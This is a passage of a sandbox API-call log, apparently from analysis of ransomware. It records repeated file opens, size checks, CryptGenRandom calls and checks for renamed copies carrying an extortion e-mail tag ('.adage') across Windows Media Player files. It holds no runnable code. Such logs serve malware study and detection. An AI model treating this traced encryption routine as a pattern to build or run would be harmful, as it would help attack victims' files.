Renderer\\RenderingControl.xml" (normalized: "c:\\program files\\windows media player\\media renderer\\renderingcontrol.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.893] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.893] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\ConnectionManager.xml" (normalized: "c:\\program files\\windows media player\\network sharing\\connectionmanager.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.894] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=5422) returned 1 [0061.894] CloseHandle (hObject=0x198) returned 1 [0061.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\ConnectionManager.xml" (normalized: "c:\\program files\\windows media player\\network sharing\\connectionmanager.xml")) returned 0x20 [0061.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\ConnectionManager.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows media player\\network sharing\\connectionmanager.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.894] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\ConnectionManager.xml" (normalized: "c:\\program files\\windows media player\\network sharing\\connectionmanager.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.894] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.894] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\ContentDirectory.xml" (normalized: "c:\\program files\\windows media player\\network sharing\\contentdirectory.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.895] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=8338) returned 1 [0061.895] CloseHandle (hObject=0x198) returned 1 [0061.895] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\ContentDirectory.xml" (normalized: "c:\\program files\\windows media player\\network sharing\\contentdirectory.xml")) returned 0x20 [0061.895] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\ContentDirectory.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows media player\\network sharing\\contentdirectory.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.895] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\ContentDirectory.xml" (normalized: "c:\\program files\\windows media player\\network sharing\\contentdirectory.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.896] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.896] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\MediaReceiverRegistrar.xml" (normalized: "c:\\program files\\windows media player\\network sharing\\mediareceiverregistrar.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.896] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2574) returned 1 [0061.896] CloseHandle (hObject=0x198) returned 1 [0061.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\MediaReceiverRegistrar.xml" (normalized: "c:\\program files\\windows media player\\network sharing\\mediareceiverregistrar.xml")) returned 0x20 [0061.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\MediaReceiverRegistrar.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows media player\\network sharing\\mediareceiverregistrar.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.896] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\MediaReceiverRegistrar.xml" (normalized: "c:\\program files\\windows media player\\network sharing\\mediareceiverregistrar.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.896] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.896] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw120.jpg" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw120.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.897] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=21330) returned 1 [0061.897] CloseHandle (hObject=0x198) returned 1 [0061.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw120.jpg" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw120.jpg")) returned 0x20 [0061.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw120.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw120.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.897] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw120.jpg" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw120.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.897] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.897] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw120.png" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw120.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.897] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=6434) returned 1 [0061.897] CloseHandle (hObject=0x198) returned 1 [0061.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw120.png" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw120.png")) returned 0x20 [0061.898] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw120.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw120.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.898] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw120.png" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw120.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.898] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.898] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw32.bmp" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw32.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.899] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3128) returned 1 [0061.899] CloseHandle (hObject=0x198) returned 1 [0061.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw32.bmp" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw32.bmp")) returned 0x20 [0061.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw32.bmp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw32.bmp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.899] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw32.bmp" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw32.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.899] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.899] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw32.jpg" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw32.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.899] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=8991) returned 1 [0061.899] CloseHandle (hObject=0x198) returned 1 [0061.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw32.jpg" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw32.jpg")) returned 0x20 [0061.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw32.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw32.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.900] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw32.jpg" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw32.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.900] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.900] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw48.bmp" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw48.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.900] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2432) returned 1 [0061.900] CloseHandle (hObject=0x198) returned 1 [0061.900] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw48.bmp" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw48.bmp")) returned 0x20 [0061.900] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw48.bmp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw48.bmp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.900] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw48.bmp" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw48.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.900] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.900] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw48.jpg" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw48.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.901] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=10912) returned 1 [0061.901] CloseHandle (hObject=0x198) returned 1 [0061.901] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw48.jpg" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw48.jpg")) returned 0x20 [0061.901] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw48.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw48.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.901] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw48.jpg" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw48.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.901] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.901] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw48.png" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw48.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.902] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=4124) returned 1 [0061.902] CloseHandle (hObject=0x198) returned 1 [0061.902] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw48.png" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw48.png")) returned 0x20 [0061.902] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw48.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw48.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.902] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw48.png" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw48.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.902] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.902] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color120.jpg" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color120.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.903] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=22408) returned 1 [0061.903] CloseHandle (hObject=0x198) returned 1 [0061.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color120.jpg" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color120.jpg")) returned 0x20 [0061.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color120.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color120.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.903] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color120.jpg" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color120.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.903] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.903] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color120.png" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color120.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.903] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=12107) returned 1 [0061.903] CloseHandle (hObject=0x198) returned 1 [0061.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color120.png" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color120.png")) returned 0x20 [0061.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color120.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color120.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.904] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color120.png" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color120.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.904] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.904] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color32.bmp" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color32.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.904] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3128) returned 1 [0061.904] CloseHandle (hObject=0x198) returned 1 [0061.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color32.bmp" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color32.bmp")) returned 0x20 [0061.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color32.bmp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color32.bmp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.904] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color32.bmp" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color32.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.904] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.904] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color32.jpg" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color32.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.905] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=9421) returned 1 [0061.905] CloseHandle (hObject=0x198) returned 1 [0061.905] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color32.jpg" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color32.jpg")) returned 0x20 [0061.905] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color32.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color32.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.905] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color32.jpg" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color32.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.906] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.906] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.bmp" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color48.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.906] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=6968) returned 1 [0061.906] CloseHandle (hObject=0x198) returned 1 [0061.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.bmp" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color48.bmp")) returned 0x20 [0061.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.bmp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color48.bmp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.906] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.bmp" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color48.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.906] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.906] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.jpg" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color48.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.907] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=11397) returned 1 [0061.907] CloseHandle (hObject=0x198) returned 1 [0061.907] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.jpg" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color48.jpg")) returned 0x20 [0061.907] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color48.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.907] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.jpg" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color48.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.907] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.907] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.png" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color48.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.907] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=5426) returned 1 [0061.907] CloseHandle (hObject=0x198) returned 1 [0061.907] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.png" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color48.png")) returned 0x20 [0061.907] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color48.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.907] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.png" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color48.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.908] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.908] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextserviceamharic.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.908] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 